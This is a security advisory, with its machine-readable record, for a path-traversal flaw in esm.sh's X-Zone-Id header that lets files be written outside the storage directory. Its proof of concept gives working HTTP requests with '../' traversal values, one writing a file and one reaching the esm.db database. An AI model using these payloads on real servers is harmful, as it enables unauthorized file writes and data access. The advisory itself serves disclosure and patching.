GHSA-G2H5-CVVR-7GMW
Vulnerability from github – Published: 2025-09-17 19:03 – Updated: 2026-01-14 15:51Summary
A path-traversal flaw in the handling of the X-Zone-Id HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application’s storage base directory. As a result, supplying ../ sequences in X-Zone-Id causes files to be written to arbitrary directories (example observed: ~/.esmd/modules/transform/<id>/ instead of ~/.esmd/storage/modules/transform).
Severity: Medium
Component / Endpoint:
POST /transform — handling of X-Zone-Id header
The vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411
Impact: Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.
Proof of Concept (POC)
Request (attacker-supplied X-Zone-Id contains path traversal):
POST /transform HTTP/1.1
Host: localhost:8888
User-Agent: Den/8.7.1
Accept: */*
Connection: keep-alive
Referer: http://localhost:9999/
Content-Type: application/json
X-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/
Content-Length: 325
{
"filename": "example2.js",
"lang": "js",
"code": "console.log('hello');",
"importMap": {
"imports": {
"react": "https://esm.sh/react",
"react-dom": "https://esm.sh/react-dom"
}
},
"jsxImportSource": "react",
"target": "es2022",
"sourceMap": "external",
"minify": true
}
Observed result: file written to ~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js instead of the intended ~/.esmd/storage/modules/transform/.
This can be trigger with another path traversal request below
GET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1
Host: localhost:8888
User-Agent: localhost
Accept: */*
Connection: keep-alive
X-Zone-Id: ../
Referer: http://localhost:9999/
Remediation
Simply remove any .. in the X-Zone-Id header before actually process the file.
Credits
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 136"
},
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "136.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59342"
],
"database_specific": {
"cwe_ids": [
"CWE-24"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-17T19:03:05Z",
"nvd_published_at": "2025-09-17T18:15:53Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nA path-traversal flaw in the handling of the `X-Zone-Id` HTTP header allows an attacker to cause the application to write files outside the intended storage location. The header value is used to build a filesystem path but is not properly canonicalized or restricted to the application\u2019s storage base directory. As a result, supplying `../` sequences in `X-Zone-Id` causes files to be written to arbitrary directories (example observed: `~/.esmd/modules/transform/\u003cid\u003e/` instead of `~/.esmd/storage/modules/transform`).\n\n**Severity:** Medium\n\n**Component / Endpoint:** \n\n`POST /transform` \u2014 handling of `X-Zone-Id` header\n\nThe vulnerable code is in https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116 and https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411 \n\n**Impact:** Arbitrary file creation / overwrite outside intended storage directory (file write to attacker-controlled path). Possible remote code execution, persistence, tampering with application files, or facilitating further path-traversal attacks.\n\n---\n\n## Proof of Concept (POC)\n\nRequest (attacker-supplied `X-Zone-Id` contains path traversal):\n\n```\nPOST /transform HTTP/1.1\nHost: localhost:8888\nUser-Agent: Den/8.7.1\nAccept: */*\nConnection: keep-alive\nReferer: http://localhost:9999/\nContent-Type: application/json\nX-Zone-Id: ../../modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/\nContent-Length: 325\n\n{\n \"filename\": \"example2.js\",\n \"lang\": \"js\",\n \"code\": \"console.log(\u0027hello\u0027);\",\n \"importMap\": {\n \"imports\": {\n \"react\": \"https://esm.sh/react\",\n \"react-dom\": \"https://esm.sh/react-dom\"\n }\n },\n \"jsxImportSource\": \"react\",\n \"target\": \"es2022\",\n \"sourceMap\": \"external\",\n \"minify\": true\n}\n```\n\u003cimg width=\"2496\" height=\"1214\" alt=\"Screenshot 2025-09-16 at 21 40 57\" src=\"https://github.com/user-attachments/assets/f878c3f0-5d7d-410c-97ac-20116f5496db\" /\u003e\n\n\nObserved result: file written to `~/.esmd/modules/transform/c245626ef6ca0fd9ee37759c5fac606c6ec99daa/example2.js` instead of the intended `~/.esmd/storage/modules/transform/`.\n\nThis can be trigger with another path traversal request below\n\n```\nGET /+c245626ef6ca0fd9ee37759c5fac606c6ec99daa./../../../esm.db?.css HTTP/1.1\nHost: localhost:8888\nUser-Agent: localhost\nAccept: */*\nConnection: keep-alive\nX-Zone-Id: ../\nReferer: http://localhost:9999/\n\n```\n\u003cimg width=\"2516\" height=\"710\" alt=\"Screenshot 2025-09-16 at 21 37 07\" src=\"https://github.com/user-attachments/assets/1fcfbed3-c1d2-4093-82d8-4afda225c685\" /\u003e\n\n---\n\n## Remediation\n\nSimply remove any .. in the `X-Zone-Id` header before actually process the file.\n\n## Credits\n\n- [Ai Ho (Jessie)](https://github.com/j3ssie)\n- [CL Yang](https://github.com/A11riseforme)",
"id": "GHSA-g2h5-cvvr-7gmw",
"modified": "2026-01-14T15:51:07Z",
"published": "2025-09-17T19:03:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-g2h5-cvvr-7gmw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59342"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/833a29f42aeb0acbd7089a71be11dd0a292d3151"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L116"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/blob/main/server/router.go#L411"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3967"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "esm.sh has arbitrary file write via path traversal in `X-Zone-Id` header"
}
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